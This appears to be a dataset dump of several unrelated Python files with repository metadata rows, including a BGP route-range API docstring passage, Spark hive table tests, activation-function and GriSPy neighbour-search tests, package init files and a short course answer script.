- EnableTraditionalNlriUpdate (bool): If enabled, use the traditional NLRI in the UPDATE message, instead of using the MP_REACH_NLRI Multi-protocol extension to advertise the routes. (Not applicable for MPLS and MPLS VPN Route Ranges.)
- Enabled (bool): Enables the VPN route range.
- EndOfRib (bool): If true, enables end of rib
- FromPacking (number): The minimum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. (default = 0)
- FromPrefix (number): The first prefix length to generate based on the networkAddress and numRanges. (default = 24)
- IncludeSourceAsExtendedCommunityPresent (bool): If for a given MVPN BGP is used for exchanging C-multicast routes, or if segmented
- IncludeVrfRouteImportExtendedCommunityPresent (bool): Defines the route target extended community.
- IpType (str(ipAny | ipv4 | ipv6)): The type of IP address in nextworkAddress.
- IterationStep (number): During prefix generation, the increment between prefixes. (default = 1)
- LocalPref (number): The local preference value for the routes with the LOCAL PREF attribute. (default = 0)
- Med (number): The multi-exit discriminator value in the MULTI EXIT DISCRIMINATOR attribute. (default = 0)
- NetworkAddress (str): The network address used for the generated prefixes. (default = 0.0.0.0)
- NextHopIpAddress (str): The IP address, in either IPv4 or IPv6 format of the next hop associated with the NEXT HOP attribute. (default = 0.0.0.0)
- NextHopMode (str(fixed | nextHopIncrement | incrementPerPrefix)): Indicates that the nextHopIpAddress may be incremented for each neighbor session generated for the range of neighbor addresses.
- NextHopSetMode (str(setManually | sameAsLocalIp)): Indicates now to set the next hop IP address.
- NumRoutes (number): The number of prefixes (routes) to generate for this routeItem. (default = 1)
- OriginProtocol (str(igp | egp | incomplete)): An indication of where the route entry originated.
- OriginatorId (str): The router that originated a particular route; associated with the ORIGINATOR-ID attribute. (default = 0.0.0.0)
- RouteStepAcrossVRFs (str): The route increment value across VRFs.
- ThruPacking (number): The maximum number of routes to pack into an UPDATE message. Random numbers are chosen from the range fromPacking to toPacking. See the discussion under fromPacking above. (default = 0)
- ThruPrefix (number): The last prefix length to generate based on the networkAddress and numRanges. (default = 24)
Returns
-------
- self: This instance with matching vpnRouteRange resources retrieved from the server available through an iterator or index
Raises
------
- ServerError: The server has encountered an uncategorized error condition
"""
return self._select(self._map_locals(self._SDM_ATT_MAP, locals()))
def read(self, href):
"""Retrieves a single instance of vpnRouteRange data from the server.
Args
----
- href (str): An href to the instance to be retrieved
Returns
-------
- self: This instance with the vpnRouteRange resources from the server available through an iterator or index
Raises
------
- NotFoundError: The requested resource does not exist on the server
- ServerError: The server has encountered an uncategorized error condition
"""
return self._read(href)
| 55.85272 | 1,360 | 0.707906 | 6,388 | 59,539 | 6.501096 | 0.067627 | 0.015893 | 0.023839 | 0.034121 | 0.777794 | 0.770522 | 0.722579 | 0.713718 | 0.699487 | 0.630403 | 0 | 0.009149 | 0.208804 | 59,539 | 1,065 | 1,361 | 55.905164 | 0.872439 | 0.51494 | 0 | 0.150463 | 0 | 0 | 0.161851 | 0.084057 | 0 | 0 | 0 | 0 | 0 | 1 | 0.273148 | false | 0 | 0.039352 | 0 | 0.481481 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1d53b6a09a22a201a1fa49693eb4cc7a52558dcb | 164 | py | Python | mskit/post_analysis/_spectronaut/__init__.py | gureann/MSKit | 8b360d38288100476740ad808e11b6c1b454dc2c | [
"MIT"
] | null | null | null | mskit/post_analysis/_spectronaut/__init__.py | gureann/MSKit | 8b360d38288100476740ad808e11b6c1b454dc2c | [
"MIT"
] | null | null | null | mskit/post_analysis/_spectronaut/__init__.py | gureann/MSKit | 8b360d38288100476740ad808e11b6c1b454dc2c | [
"MIT"
] | null | null | null | from . import mod_process
from . import sn_constant
from . import sn_phossite
from . import sn_result
from . import sn_utils
from .sn_lib import SpectronautLibrary
| 23.428571 | 38 | 0.817073 | 25 | 164 | 5.12 | 0.44 | 0.390625 | 0.375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.146341 | 164 | 6 | 39 | 27.333333 | 0.914286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
d54c929fc45f5e0bfed6203a75cc7cf95c4c98d7 | 2,050 | py | Python | tests/getl/common/test_hive_table.py | husqvarnagroup/GETL | 37251abf12bac2efed1fe463b09a288d85969141 | [
"MIT"
] | 8 | 2020-06-10T09:00:17.000Z | 2021-06-07T18:02:19.000Z | tests/getl/common/test_hive_table.py | husqvarnagroup/GETL | 37251abf12bac2efed1fe463b09a288d85969141 | [
"MIT"
] | 5 | 2020-07-03T10:39:25.000Z | 2021-08-30T14:52:47.000Z | tests/getl/common/test_hive_table.py | husqvarnagroup/GETL | 37251abf12bac2efed1fe463b09a288d85969141 | [
"MIT"
] | 1 | 2020-05-28T07:53:48.000Z | 2020-05-28T07:53:48.000Z | """Testing module hive table."""
from unittest.mock import Mock, call
import pytest
from getl.common.hive_table import HiveTable
@pytest.mark.parametrize(
"params, num_calls, schema",
[
({"location": "s3://bucket/prefix"}, 3, ""),
(
{"location": "s3://bucket/prefix", "db_schema": "col STRING"},
3,
" (col STRING)",
),
],
)
def test_create_hive_table(params, num_calls, schema):
"""While writing create a hive table with and without ZOPTIMIZE."""
# Arrange
spark_session = Mock()
hive_table = HiveTable(
spark=spark_session, database_name="db", table_name="tableking"
)
# Act
hive_table.create(**params)
# Assert
assert spark_session.sql.call_count == num_calls
calls = [
call("CREATE DATABASE IF NOT EXISTS db"),
call("USE db"),
call(
f"CREATE TABLE IF NOT EXISTS tableking{schema} USING DELTA LOCATION 's3://bucket/prefix'"
),
]
spark_session.sql.assert_has_calls(calls)
@pytest.mark.parametrize(
"params, num_calls, schema",
[
(
{
"location": "s3://bucket/prefix",
"db_schema": "col STRING",
"columns": ["col"],
},
3,
" (col STRING)",
)
],
)
def test_create_hive_table_partition_by(params, num_calls, schema):
"""While writing create a hive table with and without ZOPTIMIZE."""
# Arrange
spark_session = Mock()
hive_table = HiveTable(
spark=spark_session, database_name="db", table_name="tableking"
)
# Act
hive_table.create(**params)
# Assert
assert spark_session.sql.call_count == num_calls
calls = [
call("CREATE DATABASE IF NOT EXISTS db"),
call("USE db"),
call(
f"CREATE TABLE IF NOT EXISTS tableking{schema} USING "
f"DELTA PARTITIONED BY (col) LOCATION 's3://bucket/prefix'"
),
]
spark_session.sql.assert_has_calls(calls)
| 25.949367 | 101 | 0.580488 | 232 | 2,050 | 4.961207 | 0.25431 | 0.078193 | 0.069505 | 0.095569 | 0.86881 | 0.86881 | 0.86881 | 0.86881 | 0.764553 | 0.764553 | 0 | 0.005521 | 0.293171 | 2,050 | 78 | 102 | 26.282051 | 0.78882 | 0.092195 | 0 | 0.559322 | 0 | 0 | 0.267935 | 0 | 0 | 0 | 0 | 0 | 0.067797 | 1 | 0.033898 | false | 0 | 0.050847 | 0 | 0.084746 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d54ed802b6d7e09208ba6a024b36ff1db1f3a7aa | 1,342 | py | Python | tests/tests_keras/test_correctness_cpu.py | ThomasRot/rational_activations | 1fa26d1ee5f3c916eda00c899afa96eccb960143 | [
"MIT"
] | 26 | 2020-11-17T11:44:52.000Z | 2022-02-25T22:14:49.000Z | tests/tests_keras/test_correctness_cpu.py | ThomasRot/rational_activations | 1fa26d1ee5f3c916eda00c899afa96eccb960143 | [
"MIT"
] | 8 | 2020-11-27T11:34:14.000Z | 2021-11-11T08:23:13.000Z | tests/tests_keras/test_correctness_cpu.py | ThomasRot/rational_activations | 1fa26d1ee5f3c916eda00c899afa96eccb960143 | [
"MIT"
] | 8 | 2020-11-21T10:12:28.000Z | 2022-01-15T16:54:48.000Z | """
This file tests that cpu calculations produce correct results.
"""
from tensorflow.nn import leaky_relu
from tensorflow.math import tanh, sigmoid
from .helpers import _test_template
# test cpu execution
CUDA = False
def test_a_on_cpu_lrelu():
_test_template(version='A', approx_func=leaky_relu, cuda=CUDA)
def test_b_on_cpu_lrelu():
_test_template(version='B', approx_func=leaky_relu, cuda=CUDA)
def test_c_on_cpu_lrelu():
_test_template(version='C', approx_func=leaky_relu, cuda=CUDA)
def test_d_on_cpu_lrelu():
_test_template(version='D', approx_func=leaky_relu, cuda=CUDA)
def test_a_on_cpu_tanh():
_test_template(version='A', approx_func=tanh, cuda=CUDA)
def test_b_on_cpu_tanh():
_test_template(version='B', approx_func=tanh, cuda=CUDA)
def test_c_on_cpu_tanh():
_test_template(version='C', approx_func=tanh, cuda=CUDA)
def test_d_on_cpu_tanh():
_test_template(version='D', approx_func=tanh, cuda=CUDA)
def test_a_on_cpu_sigmoid():
_test_template(version='A', approx_func=sigmoid, cuda=CUDA)
def test_b_on_cpu_sigmoid():
_test_template(version='B', approx_func=sigmoid, cuda=CUDA)
def test_c_on_cpu_sigmoid():
_test_template(version='C', approx_func=sigmoid, cuda=CUDA)
def test_d_on_cpu_sigmoid():
_test_template(version='D', approx_func=sigmoid, cuda=CUDA)
| 22.745763 | 66 | 0.76006 | 215 | 1,342 | 4.32093 | 0.15814 | 0.167923 | 0.245425 | 0.17761 | 0.813778 | 0.78902 | 0.44564 | 0.146394 | 0 | 0 | 0 | 0 | 0.122951 | 1,342 | 58 | 67 | 23.137931 | 0.789295 | 0.061103 | 0 | 0 | 0 | 0 | 0.009585 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.428571 | false | 0 | 0.107143 | 0 | 0.535714 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
d5817c9426573e9b47e7b26bca03bad76f8d00b0 | 66 | py | Python | py2store/core.py | i2mint/py2store | 1b8ccb21cdff6ffb269460eebbe813cc471be748 | [
"MIT"
] | 10 | 2019-03-04T15:02:15.000Z | 2020-09-16T11:57:30.000Z | py2store/core.py | i2mint/py2store | 1b8ccb21cdff6ffb269460eebbe813cc471be748 | [
"MIT"
] | 60 | 2019-08-08T14:38:56.000Z | 2021-04-08T15:19:11.000Z | py2store/core.py | i2mint/py2store | 1b8ccb21cdff6ffb269460eebbe813cc471be748 | [
"MIT"
] | 10 | 2019-08-08T03:15:35.000Z | 2020-06-18T16:19:18.000Z | """Forwards to dol.core:
Core tools
"""
from dol.core import *
| 8.25 | 24 | 0.651515 | 10 | 66 | 4.3 | 0.7 | 0.325581 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.19697 | 66 | 7 | 25 | 9.428571 | 0.811321 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d5900cb4e2762a1a455af62718f2defa985c0885 | 30 | py | Python | fasterrcnn/backbone/__init__.py | ldfrancis/faster_rcnn | 35b1ea5d16e669088e73bc741a7ea294221e6516 | [
"MIT"
] | 2 | 2021-05-25T18:53:00.000Z | 2021-05-26T12:11:41.000Z | segme/backbone/__init__.py | shkarupa-alex/segme | d5bc0043f9e709c8ccaf8949d662bc6fd6144006 | [
"MIT"
] | 1 | 2021-11-01T20:07:09.000Z | 2021-11-01T20:07:09.000Z | segme/backbone/__init__.py | shkarupa-alex/segme | d5bc0043f9e709c8ccaf8949d662bc6fd6144006 | [
"MIT"
] | 2 | 2021-11-21T02:39:37.000Z | 2021-12-08T07:26:56.000Z | from .backbone import Backbone | 30 | 30 | 0.866667 | 4 | 30 | 6.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 30 | 1 | 30 | 30 | 0.962963 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d59150dd0a98b7cdba16edae14c9987635e7ffbb | 12,497 | py | Python | tests/test_brute_force.py | malejandrogarcia/grispymag | 3dcd6ade77e7063116295368ed7474a82a190775 | [
"MIT"
] | null | null | null | tests/test_brute_force.py | malejandrogarcia/grispymag | 3dcd6ade77e7063116295368ed7474a82a190775 | [
"MIT"
] | null | null | null | tests/test_brute_force.py | malejandrogarcia/grispymag | 3dcd6ade77e7063116295368ed7474a82a190775 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# This file is part of the
# GriSPy Project (https://github.com/mchalela/GriSPy).
# Copyright (c) 2019, Martin Chalela
# License: MIT
# Full Text: https://github.com/mchalela/GriSPy/blob/master/LICENSE
import pytest
import numpy as np
from grispy import GriSPy
from numpy.testing import assert_equal, assert_, assert_almost_equal
class Test_grispy:
@pytest.fixture
def gsp(self):
np.random.seed(1234)
npoints = 10 ** 5
self.lbox = 100.0
self.centres = self.lbox * (0.5 - np.random.rand(1, 10).T)
self.data = np.random.uniform(
-0.5 * self.lbox, 0.5 * self.lbox, size=(npoints, 1)
)
self.upper_radii = 0.25 * self.lbox
self.lower_radii = 0.20 * self.lbox
self.n_nearest = 32
self.eps = 1e-6
return GriSPy(self.data)
def test_nearest_neighbors_sort(self, gsp):
b, ind = gsp.nearest_neighbors(self.centres, n=self.n_nearest)
for i in range(len(b)):
assert_equal(sorted(b[i]), b[i])
gsp.set_periodicity({0: (-self.lbox * 0.5, self.lbox * 0.5)})
b, ind = gsp.nearest_neighbors(self.centres, n=self.n_nearest)
for i in range(len(b)):
assert_equal(sorted(b[i]), b[i])
def test_all_in_bubble(self, gsp):
b, ind = gsp.bubble_neighbors(
self.centres, distance_upper_bound=self.upper_radii
)
for i, l in enumerate(ind):
for j in l:
d = np.fabs(self.data[j] - self.centres[i])
assert_(d <= self.upper_radii * (1.0 + self.eps))
gsp.set_periodicity({0: (-self.lbox * 0.5, self.lbox * 0.5)})
b, ind = gsp.bubble_neighbors(
self.centres, distance_upper_bound=self.upper_radii
)
for i, l in enumerate(ind):
for j in l:
d = self.data[j] - self.centres[i]
if d > 0.5 * self.lbox:
d = d - self.lbox
if d < -0.5 * self.lbox:
d = d + self.lbox
d = np.fabs(d)
assert_(d <= self.upper_radii * (1.0 + self.eps))
def test_all_in_shell(self, gsp):
b, ind = gsp.shell_neighbors(
self.centres,
distance_lower_bound=self.lower_radii,
distance_upper_bound=self.upper_radii,
)
for i, l in enumerate(ind):
for j in l:
d = np.fabs(self.data[j] - self.centres[i])
assert_(d <= self.upper_radii * (1.0 + self.eps))
assert_(d >= self.lower_radii * (1.0 - self.eps))
gsp.set_periodicity({0: (-self.lbox * 0.5, self.lbox * 0.5)})
b, ind = gsp.shell_neighbors(
self.centres,
distance_lower_bound=self.lower_radii,
distance_upper_bound=self.upper_radii,
)
for i, l in enumerate(ind):
for j in l:
d = self.data[j] - self.centres[i]
if d > 0.5 * self.lbox:
d = d - self.lbox
if d < -0.5 * self.lbox:
d = d + self.lbox
d = np.fabs(d)
assert_(d <= self.upper_radii * (1.0 + self.eps))
assert_(d >= self.lower_radii * (1.0 - self.eps))
def test_bubble_precision(self, gsp):
b, ind = gsp.bubble_neighbors(
self.centres, distance_upper_bound=self.upper_radii, sorted=True
)
for i, centre in enumerate(self.centres):
d = np.fabs(self.data - centre)
mask = d < self.upper_radii
d = d[mask]
assert_equal(len(b[i]), len(d))
assert_almost_equal(b[i], sorted(d), decimal=14)
gsp.set_periodicity({0: (-self.lbox * 0.5, self.lbox * 0.5)})
b, ind = gsp.bubble_neighbors(
self.centres, distance_upper_bound=self.upper_radii, sorted=True
)
for i, centre in enumerate(self.centres):
d = self.data - centre
mask = d > 0.5 * self.lbox
d[mask] = d[mask] - self.lbox
mask = d < -0.5 * self.lbox
d[mask] = d[mask] + self.lbox
d = np.fabs(d)
mask = d < self.upper_radii
d = d[mask]
assert_equal(len(b[i]), len(d))
assert_almost_equal(b[i], sorted(d), decimal=14)
def test_shell_precision(self, gsp):
b, ind = gsp.shell_neighbors(
self.centres,
distance_lower_bound=self.lower_radii,
distance_upper_bound=self.upper_radii,
sorted=True,
)
for i, centre in enumerate(self.centres):
d = np.fabs(self.data - centre)
mask = (d <= self.upper_radii) * (d >= self.lower_radii)
d = d[mask]
assert_equal(len(b[i]), len(d))
assert_almost_equal(b[i], sorted(d), decimal=14)
gsp.set_periodicity({0: (-self.lbox * 0.5, self.lbox * 0.5)})
b, ind = gsp.shell_neighbors(
self.centres,
distance_lower_bound=self.lower_radii,
distance_upper_bound=self.upper_radii,
sorted=True,
)
for i, centre in enumerate(self.centres):
d = self.data - centre
mask = d > 0.5 * self.lbox
d[mask] = d[mask] - self.lbox
mask = d < -0.5 * self.lbox
d[mask] = d[mask] + self.lbox
d = np.fabs(d)
mask = (d <= self.upper_radii) * (d >= self.lower_radii)
d = d[mask]
assert_equal(len(b[i]), len(d))
assert_almost_equal(b[i], sorted(d), decimal=14)
def test_nearest_neighbors_precision(self, gsp):
b, ind = gsp.nearest_neighbors(self.centres, n=self.n_nearest)
for i, centre in enumerate(self.centres):
d = np.fabs(self.data - centre)
d = sorted(np.concatenate(d))
d = d[: self.n_nearest]
assert_equal(len(b[i]), len(d))
assert_almost_equal(b[i], d, decimal=16)
gsp.set_periodicity({0: (-self.lbox * 0.5, self.lbox * 0.5)})
b, ind = gsp.nearest_neighbors(self.centres, n=self.n_nearest)
for i, centre in enumerate(self.centres):
d = self.data - centre
mask = d > 0.5 * self.lbox
d[mask] = d[mask] - self.lbox
mask = d < -0.5 * self.lbox
d[mask] = d[mask] + self.lbox
d = np.fabs(d)
d = sorted(np.concatenate(d))
d = d[: self.n_nearest]
assert_equal(len(b[i]), len(d))
assert_almost_equal(b[i], d, decimal=16)
class Test_periodicity_grispy:
@pytest.fixture
def gsp(self):
self.lbox = 10.0
self.data = np.array(
[
[2, 0, 0],
[-2, 0, 0],
[0, 2, 0],
[0, -2, 0],
[0, 0, 2],
[0, 0, -2]
]
)
self.eps = 1e-6
return GriSPy(self.data)
def test_periodicity_in_shell(self, gsp):
centres = np.array([[0.0, 0.0, 0.0]])
upper_radii = 0.8 * self.lbox
lower_radii = 0.8 * self.lbox
for j in range(3):
gsp.set_periodicity({j: (-0.5 * self.lbox, 0.5 * self.lbox)})
dis, ind = gsp.shell_neighbors(
centres,
distance_lower_bound=lower_radii - self.eps,
distance_upper_bound=upper_radii + self.eps,
)
dis, ind = dis[0], ind[0]
aux = np.argsort(ind)
ind = ind[aux]
dis = dis[aux]
for i in range(2):
assert_equal(ind[i], i + (j * 2))
assert_(dis[i] >= lower_radii - self.eps)
assert_(dis[i] <= upper_radii + self.eps)
gsp.set_periodicity(
{
0: (-self.lbox * 0.5, self.lbox * 0.5),
1: (-self.lbox * 0.5, self.lbox * 0.5),
2: (-self.lbox * 0.5, self.lbox * 0.5),
}
)
dis, ind = gsp.shell_neighbors(
centres,
distance_lower_bound=lower_radii - self.eps,
distance_upper_bound=upper_radii + self.eps,
)
dis, ind = dis[0], ind[0]
aux = np.argsort(ind)
ind = ind[aux]
dis = dis[aux]
for i in range(6):
assert_equal(ind[i], i)
assert_(dis[i] >= lower_radii * (1.0 - self.eps))
assert_(dis[i] <= upper_radii * (1.0 + self.eps))
def test_periodicity_in_bubble(self, gsp):
centres = np.array([[5.0, 0.0, 0.0], [0.0, 5.0, 0.0], [0.0, 0.0, 5.0]])
upper_radii = 0.3 * self.lbox
for j in range(3):
gsp.set_periodicity({j: (-self.lbox * 0.5, self.lbox * 0.5)})
centre = centres[j].reshape(1, 3)
dis, ind = gsp.bubble_neighbors(
centre, distance_upper_bound=upper_radii
)
dis, ind = dis[0], ind[0]
aux = np.argsort(ind)
ind = ind[aux]
dis = dis[aux]
for i in range(2):
assert_equal(ind[i], i + (j * 2))
assert_(dis[i] <= upper_radii * (1.0 + self.eps))
assert_(dis[i] >= upper_radii * (1.0 - self.eps))
class Test_hypersphere_grispy:
@pytest.fixture
def gsp(self):
np.random.seed(1234)
self.lbox = 100.0
self.upper_radii = 0.25 * self.lbox
self.lower_radii = 0.20 * self.lbox
self.n_nearest = 32
self.eps = 1e-6
############################################
#
# Follow
# http://mathworld.wolfram.com/HyperspherePointPicking.html
# Marsaglia, G.
# "Choosing a Point from the Surface of a Sphere."
# Ann. Math. Stat. 43, 645-646, 1972.
#
############################################
npoints = 10 ** 5
x = np.random.uniform(-1.0, 1.0, size=(npoints, 1))
y = np.random.uniform(-1.0, 1.0, size=(npoints, 1))
z = np.random.uniform(-1.0, 1.0, size=(npoints, 1))
w = np.random.uniform(-1.0, 1.0, size=(npoints, 1))
tttt = (x ** 2 + y ** 2 < 1.0) * (z ** 2 + w ** 2 < 1.0)
npoints = np.sum(tttt)
self.radius = self.lbox * np.random.rand(npoints)
x = x[tttt]
y = y[tttt]
z = z[tttt]
w = w[tttt]
tttt = np.sqrt((1.0 - x ** 2 - y ** 2) / (z ** 2 + w ** 2))
x = self.radius * x
y = self.radius * y
z = self.radius * z * tttt
w = self.radius * w * tttt
tttt = np.sqrt(x ** 2 + y ** 2 + z ** 2 + w ** 2)
assert_almost_equal(self.radius, tttt, decimal=12)
self.data = np.array([x, y, z, w]).T
############################################
############################################
return GriSPy(self.data)
def test_in_hiperbubble(self, gsp):
centre = np.array([[0.0, 0.0, 0.0, 0.0]])
dis, ind = gsp.bubble_neighbors(
centre, distance_upper_bound=self.upper_radii, sorted=True
)
dis, ind = dis[0], ind[0]
mask = self.radius <= self.upper_radii * (1.0 + self.eps)
assert_equal(len(dis), len(ind))
assert_equal(len(dis), len(self.radius[mask]))
assert_almost_equal(dis, sorted(self.radius[mask]), decimal=14)
def test_in_hipersheell(self, gsp):
centre = np.array([[0.0, 0.0, 0.0, 0.0]])
dis, ind = gsp.shell_neighbors(
centre,
distance_lower_bound=self.lower_radii,
distance_upper_bound=self.upper_radii,
sorted=True,
)
dis, ind = dis[0], ind[0]
mask = (self.radius <= self.upper_radii * (1.0 + self.eps)) * (
self.radius >= self.lower_radii * (1.0 - self.eps)
)
assert_equal(len(dis), len(ind))
assert_equal(len(dis), len(self.radius[mask]))
assert_almost_equal(dis, sorted(self.radius[mask]), decimal=14)
def test_hipernearest_neighbors(self, gsp):
centre = np.array([[0.0, 0.0, 0.0, 0.0]])
dis, ind = gsp.nearest_neighbors(centre, n=self.n_nearest)
dis, ind = dis[0], ind[0]
tmp = sorted(self.radius)[: self.n_nearest]
assert_equal(len(dis), len(ind))
assert_equal(len(dis), len(tmp))
assert_almost_equal(dis, tmp, decimal=14)
| 31.880102 | 79 | 0.505641 | 1,717 | 12,497 | 3.557368 | 0.085032 | 0.073346 | 0.016699 | 0.017027 | 0.831369 | 0.793549 | 0.775704 | 0.767845 | 0.744434 | 0.732318 | 0 | 0.039493 | 0.343522 | 12,497 | 391 | 80 | 31.961637 | 0.705022 | 0.032168 | 0 | 0.662021 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.139373 | 1 | 0.04878 | false | 0 | 0.013937 | 0 | 0.083624 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
634a1bdb1c1042ab90dfed1bd1e7b62d524693c8 | 123 | py | Python | __init__.py | HuTobias/visualize_atari | 81c9248543431ec3925b982a9f464128e7135677 | [
"MIT"
] | 107 | 2017-11-01T18:41:34.000Z | 2022-01-07T04:50:29.000Z | __init__.py | HuTobias/visualize_atari | 81c9248543431ec3925b982a9f464128e7135677 | [
"MIT"
] | 2 | 2018-12-17T01:31:41.000Z | 2020-11-27T07:05:50.000Z | __init__.py | HuTobias/visualize_atari | 81c9248543431ec3925b982a9f464128e7135677 | [
"MIT"
] | 33 | 2017-11-01T22:59:16.000Z | 2021-09-20T19:51:29.000Z | from .saliency import *
from .rollout import *
from .make_movie import *
from .policy import *
from .overfit_atari import * | 24.6 | 28 | 0.764228 | 17 | 123 | 5.411765 | 0.529412 | 0.434783 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.154472 | 123 | 5 | 28 | 24.6 | 0.884615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
634a561477cbff3901651a2b0a29a3e5f6bf009a | 239 | py | Python | tests/dummy_classes.py | shuns0314/yaml2instance | 69513f65295a528353d5f75d8e8f3f0038a03efd | [
"MIT"
] | 2 | 2020-05-22T12:13:30.000Z | 2020-07-07T05:48:48.000Z | tests/dummy_classes.py | shuns0314/yaml2instance | 69513f65295a528353d5f75d8e8f3f0038a03efd | [
"MIT"
] | null | null | null | tests/dummy_classes.py | shuns0314/yaml2instance | 69513f65295a528353d5f75d8e8f3f0038a03efd | [
"MIT"
] | null | null | null | """Dummy class for test."""
class DummyClass:
def __init__(self, args_1: int = 100, args_2: int = 100, **kwargs):
self.args_1 = args_1
self.args_2 = args_2
def add(self):
return self.args_1 + self.args_2
| 21.727273 | 71 | 0.606695 | 38 | 239 | 3.5 | 0.421053 | 0.300752 | 0.203008 | 0.195489 | 0.210526 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08 | 0.267782 | 239 | 10 | 72 | 23.9 | 0.68 | 0.087866 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.166667 | 0.666667 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
63bcdc644825ed58ebd0957bc35e97162a35af72 | 357 | py | Python | J_Mathematical_Modeling/Section 1/solutionQuestion8.py | sylvain2002/CBM101 | 4d9dc4264ce81cc2af58ceaff96fd0ed7a570af5 | [
"MIT"
] | 7 | 2019-07-03T07:41:55.000Z | 2022-02-06T20:25:37.000Z | J_Mathematical_Modeling/Section 1/solutionQuestion8.py | sylvain2002/CBM101 | 4d9dc4264ce81cc2af58ceaff96fd0ed7a570af5 | [
"MIT"
] | 9 | 2019-03-14T15:15:09.000Z | 2019-08-01T14:18:21.000Z | J_Mathematical_Modeling/Section 1/solutionQuestion8.py | sylvain2002/CBM101 | 4d9dc4264ce81cc2af58ceaff96fd0ed7a570af5 | [
"MIT"
] | 11 | 2019-03-12T10:43:11.000Z | 2021-10-05T12:15:00.000Z | print("Model d, because despite it doesn't explicitly model microscopic details of actin dynamics and regulation, it accounts for these parameters at the phenomenological level and also models retrograde actin flow, adhesion-mediated traction forces, and contractile forces that re-shape the cell, all of which are very relevant to generate cell velocity.") | 357 | 357 | 0.826331 | 54 | 357 | 5.462963 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137255 | 357 | 1 | 357 | 357 | 0.957792 | 0 | 0 | 0 | 0 | 1 | 0.972067 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
